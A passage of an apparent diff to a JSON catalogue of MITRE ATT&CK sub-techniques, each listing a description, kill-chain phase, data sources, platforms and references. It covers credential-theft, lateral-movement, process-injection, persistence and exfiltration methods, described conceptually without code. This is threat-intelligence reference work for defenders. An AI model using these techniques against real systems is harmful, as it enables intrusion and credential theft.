it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", + "meta": { + "external_id": "T1102.001", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Host network interface", + "Netflow/Enclave netflow", + "Network protocol analysis", + "Packet capture", + "SSL/TLS inspection" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1102/001", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "type": "subtechnique-of" + } + ], + "uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", + "value": "Dead Drop Resolver - T1102.001" + }, + { + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) technique for Persistence.(Citation: Alperovitch Malware)", + "meta": { + "external_id": "CAPEC-555", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Process monitoring", + "Netflow/Enclave netflow", + "Authentication logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1021/001", + "https://capec.mitre.org/data/definitions/555.html", + "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx", + "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/" + ] + }, + "related": [ + { + "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "type": "subtechnique-of" + } + ], + "uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", + "value": "Remote Desktop Protocol - T1021.001" + }, + { + "description": "Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", + "meta": { + "external_id": "T1052.001", + "kill_chain": [ + "mitre-attack:exfiltration" + ], + "mitre_data_sources": [ + "Process monitoring", + "Data loss prevention", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1052/001" + ] + }, + "related": [ + { + "dest-uuid": "e6415f09-df0e-48de-9aba-928c902b7549", + "type": "subtechnique-of" + } + ], + "uuid": "a3e1e6c5-9c74-4fc0-a16c-a9d228c17829", + "value": "Exfiltration over USB - T1052.001" + }, + { + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014)", + "meta": { + "external_id": "T1021.006", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "Netflow/Enclave netflow", + "Authentication logs", + "File monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1021/006", + "http://msdn.microsoft.com/en-us/library/aa384426", + "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2", + "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc" + ] + }, + "related": [ + { + "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "type": "subtechnique-of" + } + ], + "uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", + "value": "Windows Remote Management - T1021.006" + }, + { + "description": "Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as FTP, FTPS, and TFPT that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ", + "meta": { + "external_id": "T1071.002", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Network protocol analysis", + "Process monitoring", + "Process use of network", + "Netflow/Enclave netflow", + "Packet capture" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1071/002", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "type": "subtechnique-of" + } + ], + "uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", + "value": "File Transfer Protocols - T1071.002" + }, + { + "description": "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.", + "meta": { + "external_id": "T1036.001", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Binary file metadata" + ], + "mitre_platforms": [ + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1036/001", + "https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/" + ] + }, + "related": [ + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "type": "subtechnique-of" + } + ], + "uuid": "b4b7458f-81f2-4d38-84be-1c5ba0167a52", + "value": "Invalid Code Signature - T1036.001" + }, + { + "description": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.", + "meta": { + "external_id": "T1074.001", + "kill_chain": [ + "mitre-attack:collection" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1074/001" + ] + }, + "related": [ + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "type": "subtechnique-of" + } + ], + "uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "value": "Local Data Staging - T1074.001" + }, + { + "description": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.", + "meta": { + "external_id": "T1550.001", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Office 365 audit logs", + "OAuth audit logs" + ], + "mitre_platforms": [ + "Office 365", + "SaaS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1550/001", + "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/", + "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen", + "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens", + "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/" + ] + }, + "related": [ + { + "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814", + "type": "subtechnique-of" + } + ], + "uuid": "f005e783-57d4-4837-88ad-dbe7faee1c51", + "value": "Application Access Token - T1550.001" + }, + { + "description": "Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).\n\nAdversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) ", + "meta": { + "external_id": "T1505.001", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Application logs" + ], + "mitre_platforms": [ + "Windows", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1505/001", + "https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/", + "https://securelist.com/malicious-tasks-in-ms-sql-server/92167/", + "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017", + "https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017", + "https://blog.netspi.com/attacking-sql-server-clr-assemblies/" + ] + }, + "related": [ + { + "dest-uuid": "d456de47-a16f-4e46-8980-e67478a12dcb", + "type": "subtechnique-of" + } + ], + "uuid": "f9e9365a-9ca2-4d9c-8e7c-050d73d1101a", + "value": "SQL Stored Procedures - T1505.001" + }, + { + "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities. Many utilities exist that can archive data, including 7-Zip(Citation: 7zip Homepage), WinRAR(Citation: WinRAR Homepage), and WinZip(Citation: WinZip Homepage). Most utilities include functionality to encrypt and/or compress data.\n\nSome 3rd party utilities may be preinstalled, such as `tar` on Linux and macOS or `zip` on Windows systems.", + "meta": { + "external_id": "T1560.001", + "kill_chain": [ + "mitre-attack:collection" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "File monitoring", + "Binary file metadata" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1560/001", + "https://www.7-zip.org/", + "https://www.rarlab.com/", + "https://www.winzip.com/win/en/", + "https://en.wikipedia.org/wiki/List_of_file_signatures" + ] + }, + "related": [ + { + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "type": "subtechnique-of" + } + ], + "uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", + "value": "Archive via Utility - T1560.001" + }, + { + "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)", + "meta": { + "external_id": "T1027.004", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1027/004", + "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/" + ] + }, + "related": [ + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "type": "subtechnique-of" + } + ], + "uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617", + "value": "Compile After Delivery - T1027.004" + }, + { + "description": "Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.", + "meta": { + "external_id": "T1074.002", + "kill_chain": [ + "mitre-attack:collection" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1074/002", + "https://content.fireeye.com/m-trends/rpt-m-trends-2020" + ] + }, + "related": [ + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "type": "subtechnique-of" + } + ], + "uuid": "359b00ad-9425-420b-bba5-6de8d600cbc0", + "value": "Remote Data Staging - T1074.002" + }, + { + "description": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Endgame Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "meta": { + "external_id": "T1055.002", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process monitoring", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1055/002", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + ] + }, + "related": [ + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "type": "subtechnique-of" + } + ], + "uuid": "806a49c4-970d-43f9-9acc-ac0ee11e6662", + "value": "Portable Executable Injection - T1055.002" + }, + { + "description": "Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes.(Citation: NSA Spotting)", + "meta": { + "external_id": "CAPEC-644", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Authentication logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1550/002", + "https://capec.mitre.org/data/definitions/644.html", + "https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm" + ] + }, + "related": [ + { + "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814", + "type": "subtechnique-of" + } + ], + "uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "value": "Pass the Hash - T1550.002" + }, + { + "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.", + "meta": { + "external_id": "T1560.002", + "kill_chain": [ + "mitre-attack:collection" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1560/002", + "https://pypi.org/project/rarfile/", + "https://libzip.org/", + "https://github.com/madler/zlib", + "https://en.wikipedia.org/wiki/List_of_file_signatures" + ] + }, + "related": [ + { + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "type": "subtechnique-of" + } + ], + "uuid": "41868330-6ee2-4d0f-b743-9f2294c3c9b6", + "value": "Archive via Library - T1560.002" + }, + { + "description": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Access Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as AppleScript(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and PowerShell(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015). ", + "meta": { + "external_id": "CAPEC-659", + "kill_chain": [ + "mitre-attack:collection", + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "PowerShell logs", + "User interface", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1056/002", + "https://capec.mitre.org/data/definitions/659.html", + "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html", + "https://logrhythm.com/blog/do-you-trust-your-computer/", + "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", + "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/" + ] + }, + "related": [ + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "type": "subtechnique-of" + } + ], + "uuid": "a2029942-0a85-4947-b23c-ca434698171d", + "value": "GUI Input Capture - T1056.002" + }, + { + "description": "Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)", + "meta": { + "external_id": "T1036.003", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Binary file metadata" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1036/003", + "https://lolbas-project.github.io/", + "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf", + "https://www.f-secure.com/documents/996508/1030745/CozyDuke", + "https://twitter.com/ItsReallyNick/status/1055321652777619457" + ] + }, + "related": [ + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "type": "subtechnique-of" + } + ], + "uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", + "value": "Rename System Utilities - T1036.003" + }, + { + "description": "Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.", + "meta": { + "external_id": "T1037.003", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1037/003", + "https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008" + ] + }, + "related": [ + { + "dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", + "type": "subtechnique-of" + } + ], + "uuid": "c63a348e-ffc2-486a-b9d9-d7f11ec54d99", + "value": "Network Logon Script - T1037.003" + }, + { + "description": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Endgame Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ", + "meta": { + "external_id": "T1055.003", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process monitoring", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1055/003", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + ] + }, + "related": [ + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "type": "subtechnique-of" + } + ], + "uuid": "41d9846c-f6af-4302-a654-24bba2729bc6", + "value": "Thread Execution Hijacking - T1055.003" + }, + { + "description": "Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\n[Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\n[Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)", + "meta": { + "external_id": "CAPEC-645", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Authentication logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1550/003", + "https://capec.mitre.org/data/definitions/645.html", + "https://adsecurity.org/?p=556", + "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos", + "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf", + "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" + ] + }, + "related": [ + { + "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814", + "type": "subtechnique-of" + } + ], + "uuid": "7b211ac6-c815-4189-93a9-ab415deca926", + "value": "Pass the Ticket - T1550.003" + }, + { + "description": "Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)", + "meta": { + "external_id": "CAPEC-569", + "kill_chain": [ + "mitre-attack:collection", + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1056/003", + "https://capec.mitre.org/data/definitions/569.html", + "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" + ] + }, + "related": [ + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "type": "subtechnique-of" + } + ], + "uuid": "69e5226d-05dc-4f15-95d7-44f5ed78d06e", + "value": "Web Portal Capture - T1056.003" + }, + { + "description": "Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd.exe) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. \n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage cmd.exe to execute various commands and payloads. Common uses include cmd.exe /c to execute a single command, or abusing cmd.exe interactively with input and output forwarded over a command and control channel.", + "meta": { + "external_id": "T1059.003", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Windows event logs", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1059/003" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "type": "subtechnique-of" + } + ], + "uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "value": "Windows Command Shell - T1059.003" + }, + { + "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", + "meta": { + "external_id": "CAPEC-649", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1036/006", + "https://capec.mitre.org/data/definitions/649.html", + "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/" + ] + }, + "related": [ + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "type": "subtechnique-of" + } + ], + "uuid": 